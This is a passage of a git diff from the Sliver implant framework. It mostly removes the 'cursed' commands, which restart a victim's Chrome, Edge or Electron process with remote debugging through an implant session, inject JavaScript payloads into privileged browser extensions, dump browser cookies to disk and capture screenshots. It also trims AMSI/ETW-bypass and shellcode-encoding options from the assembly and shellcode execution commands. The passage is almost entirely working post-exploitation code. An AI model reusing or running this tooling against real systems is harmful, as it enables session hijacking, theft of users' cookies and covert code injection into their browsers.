-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select a debug target:",
-		Options: options,
-	}
-	selected := ""
-	err := survey.AskOne(prompt, &selected)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if selected == "" {
-		return nil
-	}
-	selectedID := strings.Split(selected, " ")[0]
-	selectedTarget := id2target[selectedID]
-	return &selectedTarget
-}
-
-var (
-	helperHooks = []string{
-		"console.log = (...a) => {return a;}", // console.log
-	}
-)
-
-func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
-	tmpFile, _ := ioutil.TempFile("", "cursed")
-	reader, err := readline.NewEx(&readline.Config{
-		Prompt:      "\033[31mcursed »\033[0m ",
-		HistoryFile: tmpFile.Name(),
-		// AutoComplete:    nil,
-		InterruptPrompt:   "^C",
-		EOFPrompt:         "exit",
-		HistorySearchFold: true,
-		// FuncFilterInputRune: filterInput,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create read line: %s\n", err)
-		return
-	}
-
-	if helpers {
-		// Execute helper hooks
-		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
-		for _, hook := range helperHooks {
-			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-			}
-		}
-	}
-
-	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
-	for {
-		line, err := reader.Readline()
-		if err == readline.ErrInterrupt {
-			if len(line) == 0 {
-				break
-			} else {
-				continue
-			}
-		} else if err == io.EOF {
-			break
-		}
-		switch strings.TrimSpace(line) {
-
-		case ":help":
-			con.Println()
-			con.Println("Available commands:")
-			con.Println("  :file - Execute local .js file")
-			con.Println("  :help - Show this help")
-			con.Println("  :exit - Exit the console")
-			con.Println()
-
-		case ":file":
-			jsCode, err := ioutil.ReadFile(line)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				continue
-			}
-			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
-			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				continue
-			}
-			con.Println()
-			if 0 < len(result) {
-				con.Printf("%s\n", result)
-				con.Println()
-			}
-
-		case ":exit":
-			fallthrough
-		case "exit":
-			return
-
-		default:
-			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
-			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-			}
-			con.Println()
-			if 0 < len(result) {
-				con.Printf("%s\n", result)
-				con.Println()
-			}
-		}
-	}
-}

client/command/cursed/cursed-cookies.go

@@ -1,69 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"io/ioutil"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/desertbit/grumble"
-)
-
-func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	curse := selectCursedProcess(con)
-	if curse == nil {
-		return
-	}
-	con.Println()
-
-	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
-	if err != nil {
-		con.PrintErrorf("Failed to dump cookies: %s\n", err)
-		return
-	}
-
-	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
-	if len(cookies) == 0 {
-		return
-	}
-	saveFile := ctx.Flags.String("save")
-	if saveFile == "" {
-		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
-	}
-	jsonCookies := []string{}
-	for _, cookie := range cookies {
-		jsonCookie, err := cookie.MarshalJSON()
-		if err != nil {
-			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
-			continue
-		}
-		jsonCookies = append(jsonCookies, string(jsonCookie))
-	}
-	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
-	if err != nil {
-		con.PrintErrorf("Failed to save cookies: %s\n", err)
-		return
-	}
-	con.PrintInfof("Saved to %s", saveFile)
-	con.Println()
-}

client/command/cursed/cursed-edge.go

@@ -1,170 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"io/ioutil"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	payloadPath := ctx.Flags.String("payload")
-	var payload []byte
-	var err error
-	if payloadPath != "" {
-		payload, err = ioutil.ReadFile(payloadPath)
-		if err != nil {
-			con.PrintErrorf("Could not read payload file: %s\n", err)
-			return
-		}
-	}
-
-	curse := avadaKedavraEdge(session, ctx, con)
-	if curse == nil {
-		return
-	}
-	if payloadPath == "" {
-		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
-		return
-	}
-
-	con.PrintInfof("Searching for Edge extension with all permissions ... ")
-	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	// There is one alternative set of permissions that we can use if we don't find an extension
-	// with all the proper permissions.
-	if chromeExt == nil {
-		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	if chromeExt != nil {
-		con.Printf("success!\n")
-		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
-		con.PrintInfof("Injecting payload ... ")
-		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
-		// defer cancel()
-		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.Printf("success!\n")
-	} else {
-		con.Printf("failure!\n")
-		con.PrintInfof("No viable Edge extensions were found ☹️\n")
-	}
-}
-
-func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
-	edgeProcess, err := getEdgeProcess(session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if edgeProcess != nil {
-		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
-		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
-		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
-		con.Printf("\n")
-		confirm := false
-		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return nil
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Pid:     edgeProcess.GetPid(),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return nil
-		}
-	}
-	curse, err := startCursedChromeProcess(true, session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	return curse
-}
-
-func isEdgeProcess(executable string) bool {
-	var edgeProcessNames = []string{
-		"msedge",         // Linux
-		"microsoft-edge", // Linux
-		"msedge.exe",     // Windows
-		"Microsoft Edge", // Darwin
-	}
-	for _, suffix := range edgeProcessNames {
-		if strings.HasSuffix(executable, suffix) {
-			return true
-		}
-	}
-	return false
-}
-
-func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if isEdgeProcess(process.GetExecutable()) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}

client/command/cursed/cursed-electron.go

@@ -1,233 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"log"
-	insecureRand "math/rand"
-	"path"
-	"time"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/bishopfox/sliver/client/tcpproxy"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	electronExe := ctx.Flags.String("exe")
-	if electronExe == "" {
-		con.PrintErrorf("Missing --exe flag, see --help\n")
-		return
-	}
-
-	curse := avadaKedavraElectron(electronExe, session, ctx, con)
-	if curse == nil {
-		return
-	}
-	con.PrintInfof("Checking for debug targets ...")
-	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
-	con.Printf(console.Clearln + "\r")
-	if err != nil {
-		con.PrintErrorf("Failed to query debug targets: %s\n", err)
-		return
-	}
-	if len(targets) == 0 {
-		con.PrintErrorf("Zero debug targets found\n")
-		return
-	}
-	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
-}
-
-func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
-	exists, err := checkElectronPath(electronExe, session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s", err)
-		return nil
-	}
-	if !exists {
-		con.PrintErrorf("Executable path does not exist: %s", electronExe)
-		return nil
-	}
-	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if electronProcess != nil {
-		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
-		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
-		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
-		con.Printf("\n")
-		confirm := false
-		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return nil
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Pid:     electronProcess.Pid,
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return nil
-		}
-	}
-	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	return curse
-}
-
-func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
-	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    electronExe,
-	})
-	if err != nil {
-		return false, err
-	}
-	return ls.GetExists(), nil
-}
-
-func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}
-
-func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
-	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := getRemoteDebuggerPort(ctx)
-	args := []string{
-		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
-	}
-	additionalArgs := ctx.Args.StringList("args")
-	if len(additionalArgs) > 0 {
-		args = append(args, additionalArgs...)
-	}
-
-	// Execute the Chrome process with the extra flags
-	// TODO: PPID spoofing, etc.
-	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    electronExe,
-		Args:    args,
-		Output:  false,
-	})
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
-
-	con.PrintInfof("Waiting for process to initialize ... ")
-	time.Sleep(2 * time.Second)
-
-	bindPort := insecureRand.Intn(10000) + 40000
-	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
-
-	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
-
-	tcpProxy := &tcpproxy.Proxy{}
-	channelProxy := &core.ChannelProxy{
-		Rpc:             con.Rpc,
-		Session:         session,
-		RemoteAddr:      remoteAddr,
-		BindAddr:        bindAddr,
-		KeepAlivePeriod: 60 * time.Second,
-		DialTimeout:     30 * time.Second,
-	}
-	tcpProxy.AddRoute(bindAddr, channelProxy)
-	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
-
-	curse := &core.CursedProcess{
-		SessionID:   session.ID,
-		PID:         electronExec.GetPid(),
-		PortFwd:     portFwd,
-		BindTCPPort: bindPort,
-		Platform:    session.GetOS(),
-		ExePath:     electronExe,
-	}
-	core.CursedProcesses.Store(bindPort, curse)
-	go func() {
-		err := tcpProxy.Run()
-		if err != nil {
-			log.Printf("Proxy error %s", err)
-		}
-		core.CursedProcesses.Delete(bindPort)
-	}()
-
-	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
-
-	return curse, nil
-}
-
-func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if isChromeProcess(process.GetExecutable()) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}

client/command/cursed/cursed-rm.go

@@ -1,75 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	kill := ctx.Flags.Bool("kill")
-	bindPort := ctx.Args.Int("bind-port")
-	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
-	if kill {
-		confirm := false
-		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s", err)
-			return
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return
-		}
-		// Get cursed process
-		var cursedProc *core.CursedProcess
-		curses := core.CursedProcessBySessionID(session.ID)
-		for _, curse := range curses {
-			if curse.BindTCPPort == bindPort {
-				cursedProc = curse
-			}
-		}
-		if cursedProc == nil {
-			con.PrintErrorf("Failed to find cursed process\n")
-			return
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Pid:     int32(cursedProc.PID),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return
-		}
-	}
-}

client/command/cursed/cursed-screenshot.go

@@ -1,69 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"io/ioutil"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/desertbit/grumble"
-)
-
-func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	curse := selectCursedProcess(con)
-	if curse == nil {
-		return
-	}
-	con.Println()
-	con.PrintInfof("Querying debug targets ... ")
-	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
-	con.Printf(console.Clearln + "\r")
-	if err != nil {
-		con.PrintErrorf("Failed to query debug targets: %s\n", err)
-		return
-	}
-	target := selectDebugTarget(targets, con)
-	if target == nil {
-		return
-	}
-	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
-	quality := ctx.Flags.Int64("quality")
-	if quality < 1 || quality > 100 {
-		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
-		return
-	}
-	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
-	if err != nil {
-		con.PrintErrorf("Failed to take screenshot: %s\n", err)
-		return
-	}
-	saveFile := ctx.Flags.String("save")
-	if saveFile == "" {
-		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
-	}
-	err = ioutil.WriteFile(saveFile, data, 0644)
-	if err != nil {
-		con.PrintErrorf("Failed to save screenshot: %s\n", err)
-		return
-	}
-	con.PrintInfof("Screenshot saved to %s\n", saveFile)
-}

client/command/cursed/cursed.go

@@ -1,121 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"fmt"
-	insecureRand "math/rand"
-	"strconv"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-// CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	// Collect existing curses from core
-	cursedProcesses := [][]string{}
-	core.CursedProcesses.Range(func(key, value interface{}) bool {
-		curse := value.(*core.CursedProcess)
-		cursedProcesses = append(cursedProcesses, []string{
-			fmt.Sprintf("%d", curse.BindTCPPort),
-			strings.Split(curse.SessionID, "-")[0],
-			fmt.Sprintf("%d", curse.PID),
-			curse.Platform,
-			curse.ExePath,
-			curse.DebugURL().String(),
-		})
-		return true
-	})
-	// Display table if we have 1 or more curses
-	if 0 < len(cursedProcesses) {
-		tw := table.NewWriter()
-		tw.SetStyle(settings.GetTableStyle(con))
-		tw.AppendHeader(table.Row{
-			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
-		})
-		for _, rowEntries := range cursedProcesses {
-			row := table.Row{}
-			for _, entry := range rowEntries {
-				row = append(row, entry)
-			}
-			tw.AppendRow(table.Row(row))
-		}
-		con.Printf("%s\n", tw.Render())
-	} else {
-		con.PrintInfof("No cursed processes\n")
-	}
-}
-
-// selectCursedProcess - Interactively select a cursed process from a list
-func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
-	cursedProcesses := []*core.CursedProcess{}
-	core.CursedProcesses.Range(func(key, value interface{}) bool {
-		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
-		return true
-	})
-	if len(cursedProcesses) < 1 {
-		con.PrintErrorf("No cursed processes\n")
-		return nil
-	}
-
-	port2process := map[int]*core.CursedProcess{}
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, cursedProcess := range cursedProcesses {
-		fmt.Fprintf(table, "%d\t%s\t%s\n",
-			cursedProcess.BindTCPPort,
-			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
-			cursedProcess.ExePath)
-		port2process[cursedProcess.BindTCPPort] = cursedProcess
-	}
-	table.Flush()
-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select a curse:",
-		Options: options,
-	}
-	selected := ""
-	err := survey.AskOne(prompt, &selected)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if selected == "" {
-		return nil
-	}
-	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
-	return port2process[selectedPortNumber]
-}
-
-func getRemoteDebuggerPort(ctx *grumble.Context) int {
-	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
-	if port == 0 {
-		port = insecureRand.Intn(30000) + 10000
-	}
-	return port
-}

client/command/exec/execute-assembly.go

@@ -20,11 +20,10 @@ package exec
 
 import (
 	"context"
-	"os"
+	"io/ioutil"
 	"path/filepath"
 	"strings"
 
-	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,7 +49,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := os.ReadFile(assemblyPath)
+	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -58,24 +57,10 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
-	processArgsStr := ctx.Flags.String("process-arguments")
-	processArgs := strings.Split(processArgsStr, " ")
-
-	runtime := ctx.Flags.String("runtime")
-	etwBypass := ctx.Flags.Bool("etw-bypass")
-	amsiBypass := ctx.Flags.Bool("amsi-bypass")
+	processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
 
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
-	if len(assemblyArgsStr) > 256 {
-		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
-		confirm := false
-		prompt := &survey.Confirm{Message: "Do you want to continue?"}
-		survey.AskOne(prompt, &confirm, nil)
-		if !confirm {
-			return
-		}
-	}
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
@@ -90,11 +75,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		ClassName:   ctx.Flags.String("class"),
 		AppDomain:   ctx.Flags.String("app-domain"),
 		ProcessArgs: processArgs,
-		PPid:        uint32(ctx.Flags.Uint("ppid")),
-		Runtime:     runtime,
-		EtwBypass:   etwBypass,
-		AmsiBypass:  amsiBypass,
-		InProcess:   ctx.Flags.Bool("in-process"),
+		PPid:        uint32(ctx.Flags.Int("ppid")),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -23,6 +23,7 @@ import (
 	"context"
 	"fmt"
 	"io"
+	"io/ioutil"
 	"log"
 	"os"
 
@@ -43,7 +44,6 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
-	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
-	shellcodeBin, err := os.ReadFile(shellcodePath)
+	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -60,37 +60,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
-	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
-	if shikataGaNai {
-		if !rwxPages {
-			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
-			return
-		}
-		arch := ctx.Flags.String("architecture")
-		if arch != "386" && arch != "amd64" {
-			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
-			return
-		}
-		iter := ctx.Flags.Int("iterations")
-		con.PrintInfof("Encoding shellcode ...\n")
-		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-			Architecture: arch,
-			Iterations:   uint32(iter),
-			BadChars:     []byte{},
-			Data:         shellcodeBin,
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		oldSize := len(shellcodeBin)
-		shellcodeBin = resp.GetData()
